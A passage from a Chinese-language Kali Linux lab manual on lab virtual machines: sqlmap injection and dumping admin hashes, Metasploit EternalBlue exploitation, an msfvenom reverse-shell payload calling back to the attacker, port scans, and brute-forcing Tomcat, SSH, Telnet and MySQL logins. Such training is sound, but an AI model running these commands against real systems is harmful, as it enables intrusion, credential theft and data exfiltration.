掌握sqlmap软件用法
实验步骤
使用Sqlmap进行SQL注入攻击
访问简易测试网页:http://192.168.163.134/mysqltest/mysqltest/index.php?age=25
在终端中启动sqlmap:
1
sqlmap
使用sqlmap检测URL是否存在注入:
1
sqlmap -u "http://192.168.163.134/mysqltest/mysqltest/index.php?age=25"
如果存在注入,使用参数
--tables列出表名:1
sqlmap -u "http://192.168.163.134/mysqltest/mysqltest/index.php?age=25" --tables
列出指定数据库中表名和列:
1
sqlmap -u "http://192.168.163.134/mysqltest/mysqltest/index.php?age=25" -D dbname -T tablename --columns
跑出指定数据库中的数据:
1
sqlmap -u "http://192.168.163.134/mysqltest/mysqltest/index.php?age=25" -D dbname -T tablename --dump
跑出admin的哈希值:
1
sqlmap -u "http://192.168.163.134/mysqltest/mysqltest/index.php?age=25" -D dbname -T admin\_table --dump
实验总结
Sqlmap是注入非常强大的工具,需要熟练掌握其使用方法。
实验 32 数据库评估-Sqlsus
实验场景
小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用Sqlsus工具,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。
实验环境
攻击机 Kali 2016
靶机 Windows 7 + mysqltest
实验工具
Sqlsus
实验目的
掌握常用的数据库评估软件用法
实验步骤
使用Sqlsus进行数据库评估
访问简易测试网页:http://192.168.163.134/mysqltest/mysqltest/index.php?age=25
在终端输入以下命令启动Sqlsus:
1
sqlsus
生成配置文件:
1
sqlsus --wizard
修改生成的配置文件,定位到
url_start,输入需要检测的URL地址。启动Sqlsus,使用
start发起获取数据库信息:1
sqlsus -config-file path/to/config/file.conf --url-start
可以使用
help查看更多命令。获取表:
1
sqlsus -config-file path/to/config/file.conf --get tables
获取表中的列名:
1
sqlsus -config-file path/to/config/file.conf --get columns
获取admin表的内容:
1
sqlsus -config-file path/to/config/file.conf --dump "select \* from admin"
实验总结
掌握Sqlsus软件的使用。
实验 33 网络嗅探-Tcpdump
实验场景
小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用Tcpdump工具,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。
实验环境
kali 2016
实验工具
tcpdump
实验目的
使用tcpdump工具捕获数据包
实验步骤
直接启动tcpdump将监视第一个网络接口上所有流过的数据包
1
tcpdump
指定网络接口进行抓包
1
tcpdump -i eth0
监听指定主机或ip地址的数据包
1
tcpdump host 192.168.1.1
监听主机或ip所发送的所有数据包
1
tcpdump src host 192.168.1.1
监听主机或ip所接收的所有数据包
1
tcpdump dst host 192.168.1.1
监听指定主机或ip地址之间的数据包
1
tcpdump src host 192.168.1.1 and dst host 192.168.1.2
再开一个终端,ping本机的网关,我们需要通过tcpdump工具进行抓包
参数详解
-a:尝试将网络和广播地址转换成名称;-c <数据包数目>:收到指定的数据包数目后,就停止进行倾倒操作;-d:把编译过的数据包编码转换成可阅读的格式,并倾倒到标准输出;-dd:把编译过的数据包编码转换成C语言的格式,并倾倒到标准输出;-ddd:把编译过的数据包编码转换成十进制数字的格式,并倾倒到标准输出;-e:在每列倾倒资料上显示连接层级的文件头;-f:用数字显示网际网络地址;-F <表达文件>:指定内含表达方式的文件;-i <网络界面>:使用指定的网络截面送出数据包;-l:使用标准输出列的缓冲区;-n:不把主机的网络地址转换成名字;-N:不列出域名;-O:不将数据包编码最佳化;-p:不让网络界面进入混杂模式;-q:快速输出,仅列出少数的传输协议信息;-r <数据包文件>:从指定的文件读取数据包数据;-s <数据包大小>:设置每个数据包的大小;-S:用绝对而非相对数值列出TCP关联数;-t:在每列倾倒资料上不显示时间戳记;-tt:在每列倾倒资料上显示未经格式化的时间戳记;-T <数据包类型>:强制将表达方式所指定的数据包转译成设置的数据包类型;-v:详细显示指令执行过程;-vv:更详细显示指令执行过程;-x:用十六进制字码列出数据包资料;-w <数据包文件>:把数据包数据写入指定的文件。
实验总结
使用Tcpdump抓取特定的协议报文
实验34 MS17_010漏洞复现
实验场景
小明是网络工程师,某天他收到上级领导命令,需要在kali服务器复现MS17_010漏洞,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。
实验环境
攻击机 kali 2018 ip地址:192.168.163.152
靶机 windows 7 ip地址:192.168.163.134
实验工具
无
实验目的
metasploit利用ms17_010去攻击靶机
实验步骤
在kali终端中输入msfconsole启动metasploit
1
msfconsole
启动后搜索漏洞相关的模块
1
search ms17\_010
先利用扫描模块对win 7 靶机进行扫描,检测看是否存在漏洞
1
use auxiliary/scanner/smb/smb\_ms17\_010
使用该模块后设置目标IP或者IP段
1
set RHOSTS 192.168.163.134
执行扫描
1
run
使用ms17_010漏洞模块对靶机进行攻击
1
use exploit/windows/smb/ms17\_010\_eternalblue
查看可设置的选项
1
show options
设置靶机目标ip
1
set RHOST 192.168.163.134
执行攻击
1
run
实验总结
因为MS17_010是近几年新爆出的漏洞,所以还有很多用户没有升级打补丁,在内网可以进行检测看还有没有主机存在漏洞
实验35 Web应用指纹识别器-Whatweb
实验场景
小明是网络工程师,某
天他收到上级领导命令,需要在kali服务器使用Whatweb工具,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。
实验环境
攻击机:kali 2016 192.168.21.128
实验工具
whatweb
实验目的
掌握whatweb的使用
实验步骤
在终端直接启动whatweb软件
1
whatweb
查看whatweb版本号
1
whatweb --version
查看有哪些可用的插件
1
whatweb --l
使用whatweb识别网站的指纹
1
whatweb --target http://www.baidu.com
对当个目标进行简单的探测
1
whatweb http://127.0.0.1
实验总结
掌握使用Whatweb对web服务器进行嗅探测试
实验 36 端口扫描之-Nmap
实验场景
小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用Nmap工具,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。
实验环境
攻击机:kali
靶机:centos 6.9
靶机ip地址:192.168.163.136
实验工具
Nmap
实验目的
掌握nmap端口扫描
实验步骤
查看kali自带nmap的版本号
1
nmap -V
nmap的ping扫描本网段存活的主机(ip地址后面加掩码即扫描本网段)
1
nmap -sP 192.168.163.0/24
nmap的SYN半开放扫描
1
nmap -sS 192.168.163.136/24
nmap的TCP扫描
1
nmap -sT 192.168.163.136
nmap扫描靶机所有开放端口
1
nmap -p- 192.168.163.136
nmap扫描靶机特定端口 22 和 80 和 8080
1
nmap -p 22,80,8080 192.168.163.136
nmap识别系统信息扫描
1
nmap -O 192.168.163.136
nmap的批量扫描 - iL 从ip文本中导入扫描
1
nmap -sS -iL ip.txt
实验总结
区分NMAP不同参数的使用,牢记常用的参数
实验 37 服务枚举-Amap
实验场景
小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用Amap工具,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。
实验环境
攻击机:kali
靶机:centos 6.9 ip地址:192.168.163.132
实验工具
zmap
实验目的
掌握amzp的使用
实验步骤
启动amap查看帮助信息
1
amap -b -q 192.168.163.132 22
还能设置端口的范围段
1
amap -b -q 192.168.163.132 1-100
实验总结
思考Amzp是获取服务器的banner来获取服务器的信息,能想到有什么劣势吗。
实验场景
小明是网络工程师,某天他收到上级领导命令,需要在kali上生成一个木马文件,当centos服务器上执行这个文件时,会反弹shell到kali上,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。
实验环境
kali 2016
centos 6.9
实验工具
Metasploit
ftp
实验目的
使用metasploit生成木马文件,在centos执行文件时拿到shell
实验步骤
在kali虚拟机上测试与靶机的连通性
1
ping 192.168.127.137 -c 4
在靶机centos上测试与kali的连通性
1
ping 192.168.127.138 -c 4
在kali上使用shell马
1
msfvenom -p linux/x86/meterpreter/reverse\_tcp LHOST=192.168.127.138 LPORT=4444 -f elf > shell
启动msfconsole
在kali中启动监听
1
Run
通过ftp把生成的文件传到靶机上,在靶机上先给文件权限再运行文件
输入shell查看权限
1
Shell
实验总结
掌握使用kali下的metasploit生成木马文件,在centos执行文件时拿到shell
实验 39 通用密码生成器-Crunch
实验场景
小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用Crunch工具,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。
实验环境
攻击机:kali 2016
实验工具
crunch
实验目的
掌握kali下crunch工具的使用
实验步骤
Crunch是一款密码生成工具,能按照要求生成一个密码文件,用于暴力破解。
在终端直接输入
crunch --h查看 Crunch 帮助信息。生成的密码格式为:
crunch <min> <max> [options]。这里我们使用不添加任何参数来生成密码:1
crunch 1 4
这会生成最少位数为 1 位,最大为 4 位的密码,由 26 个小写字母组成。
把字典保存成txt文件:
1
crunch 1 4 -o passwd.txt
制作以 189 开头的手机号密码字典:
1
crunch 11 11 +0123456789 -t 188%%%%%%%% -o num.txt
生成六位数小写字母密码,其中前四位为 “pass”:
1
crunch 6 6 -t pass@@ -o passwd.txt
生成六位密码,其中前四位为 “pass”,后两位为大写字母:
1
crunch 6 6 -t pass,, -o passwd.txt
生成六位密码,其中前四位为 “pass”,后两位为字符:
1
crunch 6 6 -t pass^^ -o passwd.txt
生成 4 位密码,其中格式为“两个数字” + “一个小写字母” + “常见符号”(其中数字这里被指定只能为 123 组成的所有 2 位数字组合):
1
crunch 4 4 + + 123 + -t %%@^
实验总结
掌握使用 Crunch 生成指定类型的密码文件。
实验场景
小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用 xmas 扫描模块,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。
实验环境
攻击机:kali 2016
靶机:centos 6.9
实验工具
Metasploit
实验目的
通过 xmas 模块来扫描靶机
实验步骤
在kali虚拟机上测试与靶机的连通性:
1
ping 192.168.127.139 -c 4
在靶机 centos 上测试与 kali 的连通性:
1
ping 192.168.127.140 -c 4
在 kali 上启动 Metasploit:
1
msfconsole
使用 xmas 模块:
1
use auxiliary/scanner/portscan/xmas
查看其它选项:
1
show options
设置靶机地址:
1
set rhosts 192.168.127.139
设置线程为 20:
1
set threads 20
开始扫描:
1
run
实验总结
掌握 Metasploit 下的 xmas 扫描靶机实验。
实验场景
小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用 TCP 方式去进行扫描,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。
实验环境
攻击机:kali 2016
靶机:centos 6.9
实验工具
Metasploit
实验目的
通过 TCP 模块来扫描靶机
实验步骤
在kali虚拟机上测试与靶机的连通性:
1
ping 192.168.127.139 -c 4
在靶机 centos 上测试与 kali 的连通性:
1
ping 192.168.127.140 -c 4
在 kali 上启动 Metasploit:
1
msfconsole
使用 TCP 模块:
1
use auxiliary/scanner/portscan/tcp
查看其它选项:
1
show options
设置靶机地址:
1
set rhosts 192.168.127.139
设置线程为 20:
1
set threads 20
开始扫描:
1
run
实验总结
掌握 Metasploit 下的使用 TCP 扫描。
实验场景
小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用 SYN 方式去进行扫描,为避免在部署时候出现什么问题,小明
首先在自己的虚拟机上搭建一遍环境。
实验环境
攻击机:kali 2016
靶机:centos 6.9
实验工具
Metasploit
实验目的
通过 SYN 模块来扫描靶机
实验步骤
通过 SYN 方式对防火墙上未被屏蔽的端口进行探测。
在kali虚拟机上测试与靶机的连通性:
1
ping 192.168.127.139 -c 4
在靶机 centos 上测试与 kali 的连通性:
1
ping 192.168.127.140 -c 4
在 kali 上启动 Metasploit:
1
msfconsole
使用 SYN 模块:
1
use auxiliary/scanner/portscan/syn
查看其它选项:
1
show options
设置靶机地址:
1
set rhosts 192.168.127.139
设置线程为 20:
1
set threads 20
开始扫描:
1
run
实验总结
观察使用 SYN 扫描时,扫描的结果跟 TCP 和 UDP 扫描的方式有什么不同。
实验场景
小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用 ACK 方式去进行扫描,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。
实验环境
攻击机:kali 2016
靶机:centos 6.9
实验工具
Metasploit
实验目的
通过 ACK 模块来扫描靶机
实验步骤
通过 ACK 方式对防火墙上未被屏蔽的端口进行探测。
在kali虚拟机上测试与靶机的连通性:
1
ping 192.168.127.139 -c 4
在靶机 centos 上测试与 kali 的连通性:
1
ping 192.168.127.140 -c 4
在 kali 上启动 Metasploit:
1
msfconsole
使用 ACK 模块:
1
use auxiliary/scanner/portscan/ack
查看其它选项:
1
show options
设置靶机地址:
1
set rhosts 192.168.127.139
设置线程为 20:
1
set threads 20
开始扫描:
1
run
实验总结
观察当使用 ACK 扫描时,扫描的结果跟 TCP 和 UDP 扫描的方式有什么不同。
实验场景
小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用 metasploit 去爆破 Tomcat 的登录密码,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。
实验环境
攻击机:kali 2016
靶机:centos 6.9
实验工具
Metasploit, Tomcat
实验目的
使用 Metasploit 下的 tomcat 爆破模块对 Tomcat 账户进行爆破
实验步骤
在kali虚拟机上测试与靶机的连通性:
1
ping 192.168.127.137 -c 4
在靶机 centos 上测试与 kali 的连通性:
1
ping 192.168.127.138 -c 4
在 kali 上启动 Metasploit:
1
msfconsole
搜索有效的 Tomcat 模块:
1
search tomcat
这里选择使用模块
auxiliary/scanner/http/tomcat_mgr_login:1
use auxiliary/scanner/http/tomcat\_mgr\_login
查看 tomcat_mgr_login 模块有效选项:
1
show options
指定用户名和密码文件,这里使用默认路径:
1
2set user\_file /usr/share/metasploit-framework/data/wordlists/tomcat\_mgr\_default\_users.txt
set pass\_file /usr/share/metasploit-framework/data/wordlists/tomcat\_mgr\_default\_pass.txt指定要攻击的目标服务器:
1
set rhosts 192.168.127.137
设置服务器端口号为 8080:
1
set rport 8080
设置当渗透成功时停止:
1
set stop\_on\_success true
运行攻击爆破成功密码:
1
run
实验总结
掌握 Metasploit 下 tomcat 爆破方法的使用,对比 medusa 爆破速度上的区别。
实验 45 路由信息探测-Traceroute
实验场景
小明是网络工程师,某天他收到上级领导命令,需要在 Kali 服务器使用 Traceroute 工具,为避免在部署时出现问题,小明首先在自己的虚拟机上搭建一遍环境。
实验环境
攻击机:Kali 2016
实验工具
traceroute
实验目的
了解路由的概念和工作原理,掌握 Linux 下探测路由工具 Traceroute 的使用方法。
实验步骤
路由是信息从源穿过网络传递到目的地的行为,在传播路径中至少经过一个中间节点。Traceroute 通过发送小的数据包到目的设备直到其返回,来测量其需要多长时间。一条路径上的每个设备 Traceroute 要测 3 次。输出结果中包括每次测试的时间(ms)和设备的名称(如有的话)及其 IP 地址。
打开 Linux 终端,输入
traceroute,查看使用语法。查看本机 IP 地址:
1
ifconfig
使用 Traceroute 来追踪本机的路由:
1
traceroute <本机IP>
把探测包的个数设置为值 8:
1
traceroute -q 8 <目标IP>
探测包使用的基本 UDP 端口设置为 6888:
1
traceroute -p 6888 <目标IP>
跳数设置:
1
traceroute -m 15 <目标IP>
把对外发探测包的等待响应时间设置为 3 秒:
1
traceroute -w 3 <目标IP>
实验总结
掌握使用 Traceroute 工具去探测路由信息。
实验场景
小明是网络工程师,某天他收到上级领导命令,需要在 Kali 服务器使用 Metasploit 工具下的 SNMP 扫描,为避免在部署时出现问题,小明首先在自己的虚拟机上搭建一遍环境。
实验环境
攻击机:Kali 2016
靶机:待补充
实验工具
Metasploit, SNMP
实验目的
在 Metasploit 中利用 SNMP 进行信息扫描。
实验步骤
在 Kali 终端中启动 Metasploit:
1
msfconsole
搜索当前系统内可用 SNMP 扫描模块:
1
search snmp
使用 SNMP 扫描模块:
1
use auxiliary/scanner/snmp/snmp\_enum
查看该模块的有效选项:
1
show options
设置扫描范围:
1
set RHOSTS 192.168.1.0/24
设置扫描线程:
1
set THREADS 10
使用
run或exploit开始运行扫描:1
run
实验总结
在设置必选项目外其它的一些非必选项看看是什么意思。
实验场景
小明是网络工程师,某天他收到上级领导命令,需要在 Kali 服务器使用 Metasploit 工具下的 nmap 扫描,为避免在部署时出现问题,小明首先在自己的虚拟机上搭建一遍环境。
实验环境
攻击机:Kali 2016
靶机:待补充
实验工具
Metasploit
实验目的
在 Metasploit 中利用 nmap 扫描端口。
实验步骤
在 Kali 终端中启动 Metasploit:
1
msfconsole
检查 Metasploit 数据库是否启动(Kali 需要手动启动 PostgreSQL 数据库):
1
db\_status
载入追踪者插件:
1
load db\_tracker
启动 nmap 扫描并将结果存进数据库:
1
db\_nmap –sV –O –v –T 5 192.168.1.0/24
查看扫描过的主机,可以看到已经识别出的操作系统:
1
hosts
实验总结
在 Metasploit 下的 nmap 扫描和在终端下的 nmap 扫描结果是否一样。
实验场景
小明是网络工程师,某天他收到上级领导命令,需要在 Kali 服务器使用 Metasploit 工具下的 SSH 爆破,为避免在部署时出现问题,小明首先在自己的虚拟机上搭建一遍环境。
实验环境
攻击机:Kali 2016
靶机:待补充
实验工具
Metasploit
实验目的
掌握 Metasploit 下 SSH 爆破模
块的使用。
实验步骤
在 Kali 虚拟机上启动 msfconsole 控制台并测试与靶机的连通性:
1
ping 192.168.1.1 -c 4
使用命令搜索 SSH 登录相关的模块:
1
search ssh\_login
利用 SSH 爆破模块:
1
use auxiliary/scanner/ssh/ssh\_login
查看在该模块下需要设置的参数:
1
show options
根据提示使用
set语句填写必填参数,例如远程地址、爆破用户名字典、爆破密码字典。可选参数根据需要填写:1
2
3set RHOSTS 192.168.1.1
set USER\_FILE /path/to/usernames.txt
set PASS\_FILE /path/to/passwords.txt发起攻击:
1
run
成功爆破得到 SSH 用户名和密码,进行结果验证:
1
ssh <target\_address>
实验总结
在 Metasploit 框架下的 SSH 爆破相比 Medusa 是否更具有优势。
实验场景
小明是网络工程师,某天他收到上级领导命令,需要在 Kali 服务器使用 Metasploit 工具下的 Telnet 爆破,为避免在部署时出现问题,小明首先在自己的虚拟机上搭建一遍环境。
实验环境
攻击机:Kali 2016
靶机:待补充
实验工具
Metasploit
实验目的
掌握 Metasploit 下 Telnet 爆破模块的使用。
实验步骤
在 Kali 虚拟机上启动 msfconsole 控制台并测试与靶机的连通性:
1
ping 192.168.1.1 -c 4
使用命令搜索 Telnet 登录相关的模块:
1
search telnet\_login
利用 Telnet 爆破模块:
1
use auxiliary/scanner/telnet/telnet\_login
查看在该模块下需要设置的参数:
1
show options
根据提示使用
set语句填写必填参数,例如远程地址、爆破用户名字典、爆破密码字典。可选参数根据需要填写:1
2
3set RHOSTS 192.168.1.1
set USER\_FILE /path/to/usernames.txt
set PASS\_FILE /path/to/passwords.txt发起攻击:
1
run
成功爆破得到 Telnet 用户名和密码,进行结果验证:
1
telnet <target\_address>
实验总结
思考在设置爆破进程数的时候如何考虑进程大小。
实验场景
小明是网络工程师,某天他收到上级领导命令,需要在 Kali 服务器使用 Metasploit 工具下的 MySQL 爆破,为避免在部署时出现问题,小明首先在自己的虚拟机上搭建一遍环境。
实验环境
攻击机:Kali 2016
靶机:待补充
实验工具
Metasploit
实验目的
掌握 Metasploit 下 MySQL 爆破模块的使用。
实验步骤
在 Kali 虚拟机上启动 msfconsole 控制台并测试与靶机的连通性:
1
ping 192.168.1.1 -c 4
使用命令搜索 MySQL 登录相关的模块:
1
search mysql\_login
利用 MySQL 爆破模块:
1
use auxiliary/scanner/mysql/mysql\_login
查看在该模块下需要设置的参数:
1
show options
根据提示使用
set语句填写必填参数,例如远程地址、爆破用户名字典、爆破密码字典。可选参数根据需要填写:1
2
3set RHOSTS 192.168.1.1
set USER\_FILE /path/to/usernames.txt
set PASS\_FILE /path/to/passwords.txt发起攻击:
1
run
成功爆破得到 MySQL 用户名和密码,进行结果验证:
1
mysql -h <target\_address> -u <username> -p
实验总结
思考 MySQL 爆破日志,在数据库日志文件能不能查看。




























